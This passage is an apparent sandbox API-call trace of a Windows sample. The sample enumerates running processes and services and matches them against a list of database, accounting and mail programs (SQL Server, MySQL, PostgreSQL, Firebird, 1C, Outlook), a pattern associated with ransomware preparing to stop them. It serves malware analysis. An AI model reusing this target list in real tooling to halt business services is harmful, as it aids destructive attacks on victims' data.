[0182.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0182.023] lstrlenW (lpString="Winmgmt") returned 7 [0182.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0182.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0182.023] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0182.023] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0182.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0182.023] lstrlenW (lpString="WPDBusEnum") returned 10 [0182.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0182.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0182.024] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0182.024] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0182.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0182.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b578 | out: hHeap=0x5c0000) returned 1 [0182.024] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x110 [0182.025] Process32FirstW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.025] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.026] lstrlenW (lpString="System") returned 6 [0182.026] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0182.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0182.026] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0182.026] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0182.026] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0182.026] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0182.026] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0182.026] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.026] lstrlenW (lpString="smss.exe") returned 8 [0182.026] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0182.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0182.026] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0182.026] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0182.026] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0182.026] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0182.026] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0182.026] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.027] lstrlenW (lpString="csrss.exe") returned 9 [0182.027] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0182.027] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0182.027] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0182.027] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0182.027] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0182.027] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0182.027] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0182.027] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.027] lstrlenW (lpString="wininit.exe") returned 11 [0182.027] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0182.027] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0182.027] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0182.027] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0182.027] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0182.027] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0182.027] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0182.027] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.028] lstrlenW (lpString="csrss.exe") returned 9 [0182.028] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0182.028] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0182.028] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0182.028] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0182.028] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0182.028] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0182.028] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.028] lstrlenW (lpString="winlogon.exe") returned 12 [0182.028] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.028] lstrlenW (lpString="services.exe") returned 12 [0182.029] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.029] lstrlenW (lpString="lsass.exe") returned 9 [0182.029] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0182.029] lstrlenW (lpString="lsm.exe") returned 7 [0182.029] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.029] lstrlenW (lpString="svchost.exe") returned 11 [0182.029] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.030] lstrlenW (lpString="svchost.exe") returned 11 [0182.030] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.030] lstrlenW (lpString="svchost.exe") returned 11 [0182.030] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.030] lstrlenW (lpString="svchost.exe") returned 11 [0182.030] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.031] lstrlenW (lpString="svchost.exe") returned 11 [0182.031] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.031] lstrlenW (lpString="audiodg.exe") returned 11 [0182.031] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.031] lstrlenW (lpString="svchost.exe") returned 11 [0182.031] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.032] lstrlenW (lpString="explorer.exe") returned 12 [0182.032] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.032] lstrlenW (lpString="dwm.exe") returned 7 [0182.032] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.032] lstrlenW (lpString="svchost.exe") returned 11 [0182.032] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.033] lstrlenW (lpString="n.exe") returned 5 [0182.033] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.033] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.033] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.033] lstrlenW (lpString="svchost.exe") returned 11 [0182.033] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0182.034] lstrlenW (lpString="taskhost.exe") returned 12 [0182.034] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0182.034] lstrlenW (lpString="reader_sl.exe") returned 13 [0182.034] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.034] lstrlenW (lpString="n.exe") returned 5 [0182.034] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0182.035] lstrlenW (lpString="n.exe") returned 5 [0182.035] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0182.035] lstrlenW (lpString="cmd.exe") returned 7 [0182.035] Process32NextW (in: hSnapshot=0x110, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0182.035] CloseHandle (hObject=0x110) returned 1 [0182.035] Sleep (dwMilliseconds=0x1f4) [0182.688] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633bc0 [0182.689] EnumServicesStatusExW (in: hSCManager=0x633bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0182.689] GetLastError () returned 0xea [0182.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x6b1460 [0182.689] EnumServicesStatusExW (in: hSCManager=0x633bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b1460, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b1460, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0182.690] CloseServiceHandle (hSCObject=0x633bc0) returned 1 [0182.690] lstrlenW (lpString="Appinfo") returned 7 [0182.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0182.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0182.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0182.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0182.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0182.690] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0182.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0182.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0182.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0182.690] lstrlenW (lpString="AudioSrv") returned 8 [0182.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0182.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0182.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0182.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0182.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0182.690] lstrlenW (lpString="BFE") returned 3 [0182.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0182.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0182.690] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0182.691] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0182.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0182.691] lstrlenW (lpString="CryptSvc") returned 8 [0182.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0182.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0182.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0182.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0182.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0182.691] lstrlenW (lpString="CscService") returned 10 [0182.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0182.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0182.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0182.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0182.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0182.691] lstrlenW (lpString="DcomLaunch") returned 10 [0182.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0182.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0182.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0182.691] lstrlenW (lpString="Dhcp") returned 4 [0182.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0182.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0182.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0182.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0182.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0182.691] lstrlenW (lpString="Dnscache") returned 8 [0182.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0182.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0182.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0182.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0182.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0182.691] lstrlenW (lpString="DPS") returned 3 [0182.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0182.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0182.692] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0182.692] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0182.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0182.692] lstrlenW (lpString="eventlog") returned 8 [0182.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0182.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0182.692] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0182.692] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0182.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0182.692] lstrlenW (lpString="EventSystem") returned 11 [0182.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0182.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0182.692] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0182.692] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0182.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0182.692] lstrlenW (lpString="gpsvc") returned 5 [0182.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0182.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0182.692] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0182.692] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0182.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0182.692] lstrlenW (lpString="iphlpsvc") returned 8 [0182.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.692] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0182.692] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0182.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0182.692] lstrlenW (lpString="LanmanServer") returned 12 [0182.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0182.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0182.692] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0182.693] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0182.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0182.693] lstrlenW (lpString="LanmanWorkstation") returned 17 [0182.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.693] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0182.693] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0182.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0182.693] lstrlenW (lpString="lmhosts") returned 7 [0182.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0182.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0182.693] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0182.693] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0182.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0182.693] lstrlenW (lpString="MMCSS") returned 5 [0182.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0182.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0182.693] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0182.693] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0182.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0182.693] lstrlenW (lpString="MpsSvc") returned 6 [0182.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0182.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0182.693] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0182.693] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0182.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0182.693] lstrlenW (lpString="Netman") returned 6 [0182.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0182.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0182.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0182.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0182.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0182.693] lstrlenW (lpString="netprofm") returned 8 [0182.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0182.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0182.694] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0182.694] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0182.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0182.694] lstrlenW (lpString="NlaSvc") returned 6 [0182.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0182.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0182.694] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0182.694] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0182.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0182.694] lstrlenW (lpString="nsi") returned 3 [0182.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0182.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0182.694] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0182.694] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0182.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0182.694] lstrlenW (lpString="PcaSvc") returned 6 [0182.694] lstrcmpiW 